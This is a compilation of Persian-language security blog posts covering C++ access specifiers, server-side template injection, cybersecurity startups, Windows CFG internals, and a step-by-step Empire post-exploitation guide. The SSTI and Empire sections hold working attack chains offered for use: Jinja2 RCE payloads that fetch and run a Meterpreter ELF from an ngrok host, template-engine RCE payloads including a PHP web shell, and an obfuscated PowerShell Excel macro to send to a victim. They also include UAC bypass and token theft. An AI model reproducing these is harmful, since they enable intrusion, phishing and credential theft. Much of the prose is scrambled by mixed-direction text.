میخوایم کمی صحبت کنیم که دلیل به وجود آمدنش دقیقا Access Specifier اما در خصوص نیاز به مفهوم } رو درک کنیم, در زبان برنامه Encapsulation چیست؟ برای جواب دادن به این سوال میبایست اول موضوعی با نام زمانی که برنامه نویس میخواهد ابعاد بسیاری درون برنامه خودش بنویسد, یکی از راهکارهایی که C++ نویسی Objective میتونه برای برنامه نویس راحتی و دور بودن از سردرگمی بیاورد اینه که ما بیایم و برنامه رو بصورت بنویسیم یعنی فرایندهای برنامه رو درون کلاس های متعدد تعریف و توابعی که در این کلاس ها تعریف میشه رو با کنترل دسترسی کنیم یک مثال میزنم Access Specifier استفاده از مکانیزم:

ما میخوایم یک تابع تعریف کنیم که یک ورودی بگیره و Object Oriented فرض کنید در این فرایند برنامه نویسی عملیاتی بر روی ورودی انجام بده و حاصل عملیات رو در خروجی برگردونه حالا شما فرض کنید که اگر بخواید 20 بار بر روی ورودی های مختلفی که در برنامه وجود داره اینکار رو انجام بدید بسان این میمونه که 20 بار اون الگوریتم رو ما میایم یک تابع در کلاسی بیرون از برنامه اصلی ساخته و الگوریتم رو اونجا Encapsulation بنویسید, اما در فرایند تعریف میکنیم و هربار که میخوایم اون الگوریتم اجرا بشه میایم و تابع الگوریتم خودمون رو صدا میزنیم با اینکار دیگه ما 20 بار الگوریتم نمینویسیم بلکه یکبار مینویسیم و 20 بار صدا میزنیم اما نکته ای که وجود داره اینه که بالاخره درون این تابعی که ما الگوریتم خودمون رو درونش قرار دادیم متغیرهای تعریف میشه با نام های مختلف چطور من میتونم این متغیرهارو بگونه ای تعریف کنم که فقط درون خود کلاس دیده بشه نه بیرون از کلاس چرا اینکارو کنم؟ به این نام رو در دیگر کلاس ها و توابع برنامه num دو دلیل یک میخوام نامی که برای متغیر استفاده کردم مثلا استفاده کنم,دلیل دوم اینه که میخوام به اون الگوریتم من که متشکل از متغیرهایی هست کسی دسترسی پیدا نکنه چرا که در صورت دسترسی پیدا کردن میتونه از الگوریتم من سوءاستفاده و یا اون رو دور بزنه!!! پس یکی از دلایل استفاده از مفهوم Access Specifier به این دلایلی برمیگرده که ذکر کردم...

https://en.wikipedia.org/wiki/Access_modifiers

#Server Side Template Injection

در این پست در خصوص آسیب پذیری های تزریق کد به پوسته یک وبسایت و در ادامه این تزریق گرفتن دسترسی از از دسته Server Side Template Injection یا SSTI سرور آسیب پذیر رو با هم بررسی خواهیم کرد,آسیب پذیری آسیب پذیری هایی هست که اگر در فیلترینگ های ورودی کاربر اشتباهی رخ بده کاربر با تزریق دستورالعمل های قالب میتونه کد دلخواه خودش رو بر روی سرور اجرا و موجب رخداد یک اجرای کد و نهایتا دسترسی بشه ...

اما چطور کد ورودی یک کاربر میتونه بر روی سرور اجرا بشه ؟ جواب اینه که قالب ها از موتور هایی در خصوص ها بر روی سرور نصب و اجرا میشوند Template Engine اون قالب بصورت مداوم استفاده میکنن که این Render Template Engine اجرا میکنه که بر روی سرور هست برخی از این Template Engine یعنی کد ورودی شما رو یک ها رو با نام های زیر می شناسند

`Mako-Jinja2-Python (code eval)-Tornado-Nunjucks-Pug-doT-Marko-JavaScript (code eval)-Dust (<= dustjs-helpers@1.5.0)-EJS-Ruby (code eval)-Slim-ERB-Smarty (unsecured)-PHP (code eval)-Twig (<=1.19)-Freemarker-Velocity-Twig (>1.19)-Smarty (secured)-Dust (> dustjs-helpers@1.5.0)` فرض کنید ما یک فیلد ورودی نام داریم که درون قالب تعریف شده و این نام ورودی رو میگیره و در همون صفحه چاپ قرار داره یعنی اگر Double Bracket اون ها همیشه در دو Syntax میکنه, در خصوص موتورهای قالب باید بگم که Syntax وارد کنید ساختار Integer شناخته میشه یک ورودی String شما به فیلد ورودی بخواید بجای اسم که یک اون میشه کد زیر

`${{0090+8}}` خروجی این کد به این صورت در خواهد اومد

`Hello $0098` اگر خروجی حاصل جمع دو عدد ما بود این بدین معنیه که ورودی آسیب پذیر هست اما این آسیب وب اپلیکیشن های پایتونی استفاده Template Engine پذیری چگونه رخ میده؟ من برای مثال کد آسیب پذیری از

میکنم

```
from flask import Flask, request from jinja2 import Environment app = Flask(__name__) Jinja2 = Environment() @app.route("/page") def page(): name = request.values.get('name') output = Jinja2.from_string('Hello ' + name + '!').render() return output if __name__ == "__main__": app.run(host='0.0.0.0', port=80)
```

در این مثال که از کتابخونه های وب اپلیکیشن پایتون استفاده کردم ما یک داریم اما دقیقا این آسیب پذیری کجا و به چه صورت رخ داده!؟ اگر دقت کنید متغیری که SSTI آسیب پذیری که output ماموریت دریافت ورودی رو داشته و ورودی دریافت شده کاربر رو ارسال میکنه به یک خروجی در قسمت ورودی تمام مقداری که کاربر وارد میکنه رو به متغیر name بصورت خام ورودی ارسال شده,منظورم اینه که متغیر Syntax رو ما یک کد مخرب که طبق متغیر name ارسال میکنه...خب مشکل همینجاس اگر output و Render قرار بگیره from_string قالب تعیین شده باشه ارسال کنیم, آیا کد ما در ورودی تابع Render موتورهای اجرا نمیشه ؟؟؟ جواب بله هست دقت کنید

Open terminal

1.`curl -g 'http://www.target.com/page?name={{7*7}}'` Hello 49!

رو دریافت کردیم میبینید که Response وارد و Curl مقدار رو مستقیم با استفاده از name در اینجا ما به پارامتر رسیده و اجرا شده خب ما میتونیم به Render محاسبه مضربی ما انجام شده یعنی کد ما بدون هیچ مشکلی به اجرا م دسترسی از سرور رو حاصل کنیم دقت کنید RCE سادگی یک کد

2.`service postgresql start;service apache2 start;gnome-terminal --tab -e 'ngrok http 80'`
Forwarding http://c32bfbfd.ngrok.io -> http://localhost:80

3.`msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=`(NoIP) `LPORT=4141 -e x64/xor_dynamic -i 3 -b "\x00" -f elf -o /var/www/html/######.elf;gnome-terminal --tab -e 'msfconsole -q -x "use multi/handler;set PAYLOAD linux/x64/meterpreter/reverse_tcp;set LHOST` (NoIP)`;set LPORT 4141;set ReverseListenerBindAddress` (LAN)`;set StageEncoder true;exploit -j"'`
4.`curl -g 'http://www.target.com/page?name={{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/unk9.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}'` 5.`curl -g 'http://www.target.com/page?name={{ config.from_pyfile('/tmp/unk9.cfg') }}` 6.`curl -g "http://www.target.com/page?name={{ config['RUNCMD']('wget http://c32bfbfd.ngrok.io/######.elf -O /tmp/######.elf;chmod 700 /tmp/######.elf;/tmp/######.elf',shell=True) }}`
خب تا اینجای کار رزرو کردیم DNS یک Ngrok و در ادامه از سرویس Start میبینید که ما در خط دوم آمدیم و سرویس های مورد نیاز رو bitکه یک فایل فرمت لینوکسی که برای نسخه ELF 64 و باز در ادامه یعنی خط سوم ما یک پایلود برای فایل فرمت Listing یک Msfconsole خروجی میدیم و باز در ادامه با استفاده از Apache2 هست ساخته و اون رو به دایکتوری Meterpreter میسازیم تا در صورت اجرای موفقیت آمیز بودن پایلود ارسالی ما به پارامتر آسیب پذیر دسترسی حاصل بشه برای ما,
قرار داره که قراره Jinja2 و Flask موتور قالب Syntax اما در خط چهارم میبینیم که پایلود اصلی ما برای ساختار کنه پایلود مارو از روی سرور هکر و در Wget بگیره و بر روی خط فرمان RUNCMD ارتباطی با خط فرمان با استفاده از بود اما من در خصوص SSTI مورد نظرش رو بهش داده و اجرا کنه خب این مجموع ساختار حمله Permission ادامه زبان اونها فرق داره هم توضیح میدم تا متوجه بشید زمانی Base های دیگه که WebApplication در SSTI پایلودهای مورد نظرتون در WebApp و یا پایلود ریزی کنید حتما باید دقت کنید که Pentest که میخواید این آسیب پذیری رو کدام ساختار و پلتفرم قرار داره

FreeMaker

5.`<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }` **Velocity**

5.`class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor()` **Smarty**

5.`{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}` اما در خصوص Sandbox Twig نکاتی رو عرض کنم برخی از این WebApp ها در تعریف میکنند و بدین ترتیب جلوگیری میکنند از ارتباط گرفتن شما Whitelist خصوص استفاده از توابع خودشون یک Out of Band ها هم میشه گفت با تکنیک های Sandbox در خصوص این سبک exec با توابع حساس مانند زدن و یا میشه بایپس هایی رو اتخاذ کرد که در ادامه نمونه ای نشون خواهم داد Obfuscation

Twig

5.`{{_self.env.registerUndefinedFilterCallback("exec")}}` 6.`{{_self.env.getFilter("id")}}` این یک Block تعریف شده باشه پایلود شما برای Webapp هستش که اگر Whitelist Syntax Twig پایلود معمول برای به لینک زیر مراجعه کنید Sandbox خواهد شد برای دیدن عملکرد

https://github.com/twigphp/Twig/blob/d63ac2088e8d30137cde10f310ab89b06dab916b/lib/Twig/Sandbox/SecurityPolicy.php#L83

خوبی که نوشته شده برای این آسیب Tools های این آسیب پذیری کمی صحبت کنیم اولین Tools اما در خصوص و پایلود ریزی با این ابزار رو نشون خواهیم داد Pentest هستش که ما یکی دو نمونه از چگونگی tplmap پذیری ابزار دقت کنید

7.`git clone https://github.com/epinna/tplmap.git;cd tplmap;chmod 755 *;pip install -r requirements.txt` 8.`./tplmap.py -u 'http://www.target.com/page?name=######*' --os-shell`

9.`./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"`

10.`./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade` در خط هشت در قسمتی که * قرار داره پایلود ریزی صورت میگیره و اگر آسیب پذیر باشه نوع پایلود ارسالی هست که منجر به دسترسی خواهد شد اما در خط نهم ما میبینیم که همون * در قسمت دیگری از shell رو ایفا میکنه, باز در ادامه یعنی خط Pentester پارامترهای یک سایت فرضی قرار داره و اینجا ابزار فقط برای ما نقش قربانی هم مشخص شده template Engine هست اما اینبار با سطح بالاتری و اینکه نوع Pentest دهم داستان باز براتون قرار دادم یه توضیح Burpsuite این ابزار رو هم در برنامه Extension کردن Add اما در پایین میبینیم که طریقه پلاگین پایتونی که برای اجرای ماژول Installer سریع در خصوص چگونگی نصبش میدم بهتون در خط یازدهم ما فایل بیس اجرا میشوند ساخته شده رو دانلود میکنم و بد از دانلود دستور نصب Java های پایتونی که در محیط های توضیح میدم که به Open Burpsuite هایی که نیاز داره رو نصب و سر آخر در قسمت pip بهش میدم و باز در ادامه آدرس دهی کنید...امیدوارم این پست مفید بوده باشه Burp ابزار Menu رو در tplmap برنامه Extension چه صورت هم صحبت خواهیم کرد Client Side Template Injection در ضمن ما در پست های آتی در خصوص...

11.`mkdir /var/share/jython;wget 'http://search.maven.org/remotecontent?filepath=org/python/jython-installer/2.7.0/jython-installer-2.7.0.jar' -O jython_installer.jar;java -jar jython_installer.jar -s -d /var/share/jython -t standard;pip install PyYaml requests` Open Burpsuite > Extender > Options > Python Environment > Select file ... > (jython-installer.jar)
Go Tab Extensions > Add > Extension type: > (Python) >> Select file ... > root/tplmap/burp_extension/burp_extender.py

بیس هست رو گزاشته بود تو کانالش Java سایت گوگل رو که Template Engine یه احمقی قبلا بود که لینک میگفت این لینک رو باز کنید بگید این چیه :) یادش بخیر...

https://hackerone.com/reports/125980
https://www.exploit-db.com/exploits/46386
https://www.youtube.com/watch?v=AtfNT0PFzZ4
https://portswigger.net/blog/server-side-template-injection
#CyberSecurity Startup
بد نیست در خصوص کسب و کار های دنیای سایبری کمی صحبت کنیم البته بصورت مستند و برگرفته از کسب و کار های برتر حوزه امنیت سایبری در دنیا که در این حالت میتونه ایده یا راهکار های خوبی رو برای ما به ارمغان بیاره تا در این مسیر با انگیزه و مطمعن تر پیش بریم...

قبل از اینکه در خصوص استارت آپ های سایبری آمریکا و شرکت های موفق صحبت کنم میخوام بپردازم به فضای داخلی کشور خودمون و تحلیلی که بر گرفته از تحقیقاتم بوده رو خدمت شما عزیزان عرض کنم و بعد اون رو مقایسه کنیم با دیگر نقاط دنیا در این خصوص, خب اولین موضوعی که میبایست بهش در فضای علوم تحقیقاتی سایبری ایران بهش اشاره کنم اینه که ما فضای باز اطلاعاتی نداریم به اون معنی که در غرب رواج داره متاسفانه در ایران شرایط به گونه ای رقم خورده که افراد علاقمند به ناچار و البته برخی ها از سر پدر سوختگی بجای اینکه متمرکز بر کردن هستند چرا که به مباحث مالی Training بحث تحقیقاتی و استارت آپی باشند سرگرم انجام کارهایی مانند این موضوع وابسته هستند در حالی که در دنیای غرب به شکل شگفت انگیزی برای افراد علاقمند سازماندهی ها و حمایت های دانشگاهی چه از لحاظ امکاناتی و مالی پوشش میدهند و سر آخر شخص مورد نظر به دلخواه میتونه وارد حوزه های استارت آپی و یا عضو در زیر مجموعه های استارت آپی بشه...

فقط Training خب دلیل اینکه در ایران 90% علاقمندان علوم سایبری روی میارند به بحث های آموزشی و اصطلاحا بحث های مالی هست ؟؟؟ جواب خیر هستش اولا این موضوع رو اینجا ذکر کنم دلیل اولی که در این خصوص آوردم به آنجایی بر میگرده که متاسفانه خانواده های ایرانی به مباحث امنیت سایبری خوشبین نیستند و از فرزندانشان که در این حوزه علاقمندانه در حال خودسازی و تحقیقات هستند حمایت نمیکنند البته دلیل دید خانوار ها یکیش خود شخص علاقمند هم هست چرا که نه تنها مسیر تحقیقاتی خودش رو دقیق نمیدونه بلکه برای خانواده رو هم درست آگاه نمیکنه....

اما آیا واقعا در دنیای سایبری درآمدی وجود نداره ؟! به استناد تصویر پست بنده عرض میکنم که جواب خیر هستش نه تنها جواب خیر هست بلکه اگر خودتون بررسی و تحقیق انجام بدید خواهید فهمید که حوزه علوم سایبری بسیار درآمدزا و نیاز امروزه کشورها هستش, خب با این تفاسیر چرا جوانان بسیاری در ایران در این حوزه آینده خوبی پیدا نکردند؟ جواب این سوال به آنجای بر میگرده که شما چند درصد مطمئن هستید که اون افراد با اشراف دقیق های استارت آپ های NGO اطلاعاتی در خصوص نقشه راه امنیتی خودشون و اینکه تلاشی برای برهم زدن سایبری داشته اند؟ خب مشخصه که بسیاری از افراد کهنه کار در ایران هیچ وقت در صدد تشکیل مجموعه تحقیقاتی مردم نهاد نبوده و نیستند به دلیل نداشتن بصیرت در سرآیند های این سبک از تشکیلات و بازار درآمدی اونها, شاید این سوال براتون پیش بیاد که مگه بازار کار امنیت در چه فضاهایی بوده که ما در ایران بصیرت اون رو عمل میکنند مانند Offensive که بصورت Penetration Testing نداشتیم ؟! خب اگر شما یک نگاهی به محصولات هستش tenable, که برای شرکت Nessus انداخته اید؟ یا محصولاتی دیگر مثل Kali Linux محصولات تیم سازنده

صحبت امسال بنده اینه که ما میتونیم در کسب و کاری که تمام سرمایه اون علم هست محصولاتی تولید کنیم که هم به کشور خودمون و هم برای کل دنیا خدمات دهی و ارز آوری کنیم همه اینها زمانی شدنی هست که افراد علاقمند با چشمی باز و اراده قوی در پی فتح قله های عملی این علوم باشند و در کنار اون جامعه بزرگ تحقیقاتی

خودشون که مردم نهاد هست رو تشکیل و بجای گاز گرفتن و توهین به هم بصورت جمعی کار رو پیش ببرند فراموش نکنیم یک استارآپ چند میلیون دلاری هرگز یک نفره صورت نخواهد گرفت چرا در دنیای سایبری به جای امید بستن به مجموعه های دولتی و اطلاعاتی که بیایند و از ما استفاده کنند خودمون استارت آپ نکنیم و از قبل اون جمع کثیری از علاقمندان رو جذب و آینده روشنی رو براتون ترتیب بدیم,

اولین استارت اپ امنیتی که تونست خودی نشون بده هم در این سالها دیده شد که البته فکر میکنم با حمایت های دولتی و VIP نام با میکنم فکر مطمئن نیستم, موضوع این در سرپا شد AvandCloud روی بر که شناخته شد سایت های معروفی نصب بود که امروز رصد کردم دیگه ندیدمش اما در کل دوستان و عزیزان در دنیای سایبری میگیرفت ما میتونیم Cybereason خودش رو از SOC استارت آپ های متنوع کم نیست و ایران نباید دیوایس های این محصولات رو با همین فضای تحقیقاتی ساده و به ظاهر بی اهمیت تولید و برای علاقمندان این حوزه ایجاد شغل کنیم که همه این اهداف وابسته به موفقیت های عملی دنیای سایبری هستش به امید روزی که ایران در علوم سایبری دنیا بهترین محصولات دفاعی و تهاجمی رو بسازه و بر جنگ های سایبری دنیا حکومت کنه....

https://www.fireeye.com/cyber-map/threat-map.html
http://exploitpack.com/packs.html
https://www.trendmicro.com/en_us/business.html
https://www.cybereason.com/services/active-monitoring
https://www.tenable.com/products/nessus/nessus-professional
#CFG Mitigation
در این پست در خصوص مکانیزم کنترل جریان برنامه که از نسخه ویندوز 8.1 برای جلوگیری از اکسپلویت شدن آسیب پذیری های حافظه در این سیستم عامل ارائه شده صحبت می کنیم و ببینیم که چگونه کار میکنه و روش های دور زدن اون تا به امروز چیا بوده...

جدید سیستم عامل های ویندوز Mitigation از ویندوز 8.1 به بعد به عنوان Control Flow Guard یا CFG مکانیزم از خودش مقاومت نشون میداد, اول Return Oriented Programming نمایان شد که در مقابل مکانیزم هایی مانند کمی در خصوص چگونگی نشان دادن این مقاومت توضیحاتی رو عرض میکنم خب همونطور که ما قبلا در این پست در خصوص دور زدن مکانیزم های دفاعی سیستم عامل ویندوز در خصوص آسیب پذیری های حافظه توضیح دادیم زدن Out of band به روش های مختلف که اکثرا به واسطه ASLR و NX و DEPمکانیزم ######/######/240 از دایره جریان برنامه که در زمان کامپایل برای برنامه تعریف شده بود این دور زدن ها شکل میگرفت, اگر بخوام واضح DEP هست و در خصوص مکانیزم NX که مخفف اون No Execute تر توضیح بدم مثلا ما برای دور زدن مکانیزم ویندوز که استعداد خنثی سازی این مکانیزم هارو API خودنمایی میکرد چه میکردیم؟ ما مثلا بر روی یکی از توابع هستش که استعداد VirtualProtect() میکردیم یکی از این توابعی که بسیار امروزه استفاده میشه Return داشت کردن مکانیزم هارو از روی یک پراسس داره اما خب این کار چطور صورت میگرفت ؟ به این صورت که هکر در Disable ویندوزی که اسمش رو آوردم API مینوشت که بر روی تابع Return Oriented Programming شلکد خودش یک به Push صورت میگرفت و بعد از پرش تابع رو مقدار دهی و Stack شدن Return پرش میکرد این پرش به واسطه استک میداد تا قبل از شلکد تابع اجرا بشه به محض اجرای تابع مکانیزم های دفاعی ویندوز که نام بردم از روی دور میخورد DEP میشدند و به این منوال Disable پراسس برنامه آسیب پذیر,

هستش, این مکانیزم از کل CFG یک اتفاق جالب افتاد اون اتفاق جالب نوع عملکرد مکانیزم CFG اما با آمدن مکانیزم موجب میشه Snapshot تهیه میکند و خب این Snapshot مشخص میشه یک Compile که در زمان Map برنامه یک که مکانیزم متوجه بشه که برنامه توابعی که قراره ازشون استفاده کنه چیا هستند و شعاع رفتار کدهای برنامه رو استفاده کنه برای ROP Chain برای خودش درک کرده خب با این تفاسیر اگر هکر بخواد مثل دفعات قبل از تکنیک یک وقفه به پردازنده میده و از برنامه خارج میشه یعنی اجازه ادامه کار برنامه رو CFG دور زدن مکانیزم ها، مکانیزم در حال پرش بر روی یک تابع از ROP Chain نمیده این اتفاق چطور رخ میده ؟ اینطور که زمانی که هکر با استفاده از

Map خودش میکنه و میبینه که این برنامه اصلا در Snapshot نگاه به CFG سیستم عامل هستش مکانیزم API استفاده کنه!!! اینجاس که متوجه یک رفتار خارج از کنترل میشه و اجازه API خودش تعریف نشده که از این تابع Control یا CFI مکانیزم CFG نمیده که کنترل برنامه از حالت تعریف شده خارج بشه, که البته یکی از ماموریت های هستش که در واقع همون تصدیق جریان کنترل برنامه هستش,به همین دلیله که نام این مکانیزم Flow Integrity CFI از تماس غیر مجاز جلوگیری و CFG پس ,Control Flow Integrity محافظ کنترل جریان گزاشته شده Mitigation در بخش CFG دقیقا چطور کار میکنه؟ همونطور که بالا هم ذکر شده CFG از صحت تماس اطمینان حاصل میکند,اما میکنه این تنظیمات به شرح زیر Build رو به پراسس CFG سیستم عامل اول یکسری تنظیمات ساختمان Userland هستش

```
dd offset __guard_check_icall_fptr ; GuardCFCheckFuntionPointer
dd 0 ; Reserved2
dd offset __guard_fids_table ; GuardCFFuntionTable
dd 1929 ; GuardCFFuntionCount
dd 3500h ; GuardFlags
```

اولین فیلد در خصوص اضافه کردن داده های کلیدی به ساختمان تنظیمات وارد شده به پراسس هستش
هستش CFG دومین فیلد در خصوص اضافه کردن اشاره گر تابع چک ساختمان تنظیمات
CFG سومین فیلد بیانگر جدول استفاده شده توسط کرنل هستش برای تنظیمات
رو نشان خواهد داد CFG چهارمین فیلد هم پرچم وضعیت مکانیزم

.
-
#DEP Bypass
مکانیزم هایی درون سیستم عامل های ویندوز وجود دارند که کارشان جلوگیری از اجرای کد از طریق آسیب پذیری میباشد در این پست به چگونگی دور زدن اونها میپردایم.
.

Initialize LdrSystemDllInitBlock
- +0x60 : Bitmap Address
- +0x68 : Bitmap Size
- Initialized by PspPrepareSystemDllInitBlock
- NtCreateUserProcess->PspAllocateProcess->PspSetupUserProcessAddressSpace

LdrpCfgProcessLoadConfig
- Check PE Headers->OptionalHeader.DllCharacteristics
- IMAGE_DLLCHARACTERISTICS_GUARD_CF flag

- Set LoadConfig->GuardCFCheckFunctionPointer
- LdrpValidateUserCallTarge

میشه, اما در مرحله دوم این CFG اکی تا اینجای کار یکسری تنظیمات وارد پراسس پشتیبانی کننده مکانیزم بر CFG معرفی شده تنظیمات LdrSystemDllInitBlock مکانیزم با استفاده از نصب کننده ی تنظیمات بالا که با نام روی پراسس مورد نظر نصب خواهد شد اما این نصب کننده چطور عمل میکنه؟ این نصب کننده اول آدرس و اندازه اشاره ای صورت میگیره به NtCreateUserProcess برنامه رو به دست میاره و در ادامه با استفاده از تابع Bitmap

که حاوی اطلاعات محل پراسس هست و در ادامه این تابع هم اشاره داره به PspAllocateProcess
های فضای پراسس میباشد, اکی پس offset که حاوی اطلاعات آدرس PspSetupUserProcessAddressSpace
نصب کننده دارای سه بلوکه که نهایتا با به دست آوردن اطلاعات مورد نظر به قسمت بعدی کار خودش میره, اما در
تابعی رو فراخوانی میکنه با نام LdrSystemDllInitBlock ما یعنی CFG قسمت بعد نصب کننده
این تابع هم چندتا کار پس از فراخوانی انجام میده اولی چک کردن هدر هستش به LdrpCfgProcessLoadConfig
های برنامه رو به دست میاره و با به DLL که مشخصات OptionalHeader.DllCharacteristics واسطه اشاره گر
یعنی LdrpCfgProcessLoadConfig دست آمدن این مشخصات پارامتر تابع
پرچم وضعیت خودش رو تنظیم میکنه و باز در ادامه اشاره گره IMAGE_DLLCHARACTERISTICS_GUARD_FC
که قراره به CFG که اشاره داره به تنظیمات کانفیگ GuardCFCheckFuncationPointer دومی هم داریم با نام
بارگذاری بشه خب تا اینجای کار مختصر توضیحی در خصوص کارکرد LdrpValidateUserCallTarget واسطه پارامتر
دادم اما بریم سراغ روش های دور زدن این مکانیزم, در پست های بعدی در خصوص دور زدن این مکانیزم CFG
صحبت خواهیم کرد میخواستم در این پست بایپس هارو توضیح بدم اما احساس کردم بسیار طولانی خواهد شد,

با تکنیک های زیر موضوع بعدی هست که در پست های بعدی مطرح میکنم CFG دور زدن مکانیزم.

Control flow gadgets (Generic CFG bypass)
Shifted pointers (32-bit ASLR bypass)
Virtual Table Hijacking

https://en.wikipedia.org/wiki/Control-flow_integrity
https://docs.microsoft.com/en-us/windows/desktop/secbp/control-flow-guard
https://packetstormsecurity.com/files/145220/Chakra-CFG-Bypass-Due-To-Bug-In-ServerFreeAllocation.html
https://www.blackhat.com/docs/us-15/materials/us-15-Zhang-Bypass-Control-Flow-Guard-Comprehensively-wp.pdf
-
#Empire Post Exploitation
که چندسالی از زمان متولد شدنش نمیگذره صحبت میکنیم و میبینیم Empire در این پست در خصوص ابزار
...پتانسیل های این ابزار در خصوص اقدامات پسا نفوذ چه آیتم هایی هست و به چه صورت استفاده میشه
این ابزار در نوع خودش بسیار قوی و حرفه ای نوشته شده توسط هکرهای زیر

https://twitter.com/harmj0y
https://twitter.com/sixdub
https://twitter.com/enigma0x3

تونسته تا به امروز بیش از 300 Powershell این ابزار در نوع خودش واقعا بی نظیر هستش چرا که در بستر زبان
در خودش جای بده که هر کدام در خصوص اهدافی ایفای نقش میکنند اما نقطه قدرت این ابزار Post Exploitation
داشتند Veil Evasion بیشتر از آنجایی سرچشمه میگیرد که به واسطه تجربه قبلی که این هکر ها در خصوص ابزار
StageLess و Stager آشنا بودند و نکته دیگر این ابزار پایلودهای Powershell بسیار با فضاهای مبهم سازی در زبان
در ویندوز هست خودش DCOM های رندرهای Object خودش هست چرا که میتونه بر فضاهایی که امکان ساختن
پایلودی رو درخواست کنید و اون رو Empire شما میتونید از VBA رو به پاورشل رسانده و اجرا کنه مثلا بر بستر زبان
تبدیل ساخته و اجرا کنید Excel و یا Word به یک فایل فرمت Macro به عنوان یک,

من میخوام یک سناریو کامل از این ابزار رو براتون تشریح کنم برای اینکار اول این ابزار رو دانلود و نصب میکنیم

Open terminal

1.`git clone https://github.com/EmpireProject/Empire.git;cd Empire/setup && chmod 755 *;pip install -r requirements.txt;bash install.sh;cd ../ && ./empire` مرحله دوم بعد از نصب و وارد شدن رو تنظیم و ایجاد میکنیم Listener به برنامه، یک

2.`listeners` 3.`uselistener http` 4.`set Name ######` 5.`set Host example.ddns.net` 6.`set BindIP 192.168.1.4` 7.`usestager /windows/macro` 8.`set listener ######` 9.`generate Sub AutoOpen() Debugging End Sub Sub Document_Open() Debugging End Sub Public Function Debugging() As Variant Dim Str As String str = "powershell -noP -sta -w 1 -enc WwBSAEUARgBdAC4AQQ" str = str + "aW1wb3J0IHN5cztpbXBvcnQgcmUsIHN1YnByb2Nlc3M7Y21kID0gIn" str = str + "BzIC1lZiB8IGdyZXAgTGl0dGxlXCBTbmlN1YnBD0Y2ggfCBncmVwIC" ... str = str + "JkKGNoYXIpXlNbKFNbapbXBvVd0rU1tqXSklMjU2XSkpCmV4ZWMoJy"`

`result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & str & " \""));"" | python &") End Sub` Copy All

Open Excel > Alt+F8 > Macro Name: (Debugging) > Create > Paste All

Send to TARGET

رو انتخاب و خروجی گرفتیم حالا به windows/macro ساختیم و در ادامه پایلود Listener خب تا اینجای کار ما یک Excel تزریق کنید, برنامه Macro رو درون یک Empire دقت مراحلی که گفته میشه رو طی کنید تا پایلود خروجی Virtual Basic بر روی کیبورد فشار بدید یک صفحه مربوط به ساختن Alt+F8 رو باز کنید و با کلید های ترکیبی 2016 خودتون باید انتخاب کنید و به دلیل اینکه پایلود ساخته شده Macro باز میشه، نامی برای VBA یا Applicaton خودمون انتخاب Macro برای تابع خودش استفاده کرده ما هم باید همین نام رو برای Debugging از نام Empire Developing رو میزنیم با زدن این دکمه صفحه مربوط به Create میگذاریم و دکمه Debugging کنیم، پس نام رو میزنیم و در ادامه باز کلید های ترکیبی Ctrl+a با کلید های ترکیبی Select All ظاهر خواهد شد در اینجا یک Macro خب تا اینجای Developing Macro بشه در قسمت Paste رو می فشاریم تا پایلودی که ما کپی کرده بودیم Ctrl+v خودمون یکسری Excel کنیم و روی فایل Save رو Macro کار همه چی خوب پیشرفته حالا فقط مونده که ما اطلاعات وارد کنیم که قربانی شک نکنه...

رو فشار بده اگر Enable Content رو به قربانی ارسال کنید و منتظر باشد تا فایل رو باز کرده و گزینه ی Excel فایل ارسال Empire این گزینه رو فعال نکنه پایلود اجرا نخواهد شد , بعد از فعال کردن این گزینه دسترسی باید برای اون دسترسی برای شما نمایان خواهد شد اون Agent بشه, اما بعد از ارسال شدن دسترسی یک نام در خصوص بسیار اذیت Empire خود Default وارد کنید چرا که نام های Agent رو کپی کنید و دستورات زیر رو برای تغییر نام کننده هستش

Empire to Meterpreter(SSL)

10.`list` Copy (Agent)

11.`rename` (Agent) `victim` Open new tab

12.`msfconsole -q -x "use multi/handler;set PAYLOAD windows/meterpreter/reverse_https;set LHOST example.ddns.net;set LPORT 443;set ReverseListenerBindAddress 192.168.1.4;set InitialAutoRunScript -f migrate;exploit -j"` خب تا اینجای کار ما نام دسترسی رو تغییر دادیم به agent ساختیم و بر روی پورت 443 فعالش کردیم اما در ادامه ما باید یک Listening Msfconsole و در ادامه و یک victim تعریف کنیم و پورت برگشت دسترسی رو 443 قرار بدیم در این Meterpreter برای ایجاد کردن دسترسی listeners

به Metasploit فریمورک Listener دسترسی حاصل خواهد شد هم برای Empire ابزار Listener حالت هم برای دستورات زیر دقت کنید,
Back Empire tab
13.`listeners` 14.`set Name meter` 15.`set Host example.ddns.net` 16.`set BindIP 192.168.1.4` 17.`set Port 443` 18.`set CertPath /root/Empire/data/empire-chain.pem` 19.`execute` در اینجا به دلیل اینکه ما Empire خود certificate باشه من از https قصد داریم پروتکل دسترسی بر بستر استفاده میکنم و پروتکل تعریف Meterpreter قرار میدم, اما در ادامه ما میریم که تزریق شلکد پایلود HTTPS رو Empire شده برای رو انجام بدیم دقت کنید

20.`interact victim` 21.`injectshellcode meter` 22.`set Lhost example.ddns.net` 23.`set Lport 443` 24.`execute` See Msfconsole tab

دستور injectshellcode قربانی شدیم و در خط 21 با استفاده از ماژول Agent در اینجا در خط 20 ما وارد دسترسی برید خواهید دید msfconsole ترمینال tab دادیم و اینجا اگر به Empire ابزار agent رو به meterpreter تزریق پایلود حاصل شده است meterpreter که دسترسی,

BypassUAC
Back Empire tab
25.`bypassuac victim` *Enter*

OR(Token)
26.`back` 27.`usemodule credentials/tokens` 28.`run` از Token سطح دسترسی ما پراسس هایی که یکی از این پراسس هارو کپی کنیم تا اون رو به PID استفاده میکنند رو نمایان میکنیم تا در ادامه Administator کردن هویت پراسس رو داشته باشیم تا بدین ترتیب پراسس ما هم از Hijack ماژول مورد نظر معرفی و درخواست سطح Administator برخوردار بشه...

Copy (Administrator ProcessId)
29.`usemodule management/psinject` 30.`set ProcId` (Administrator ProcessId)
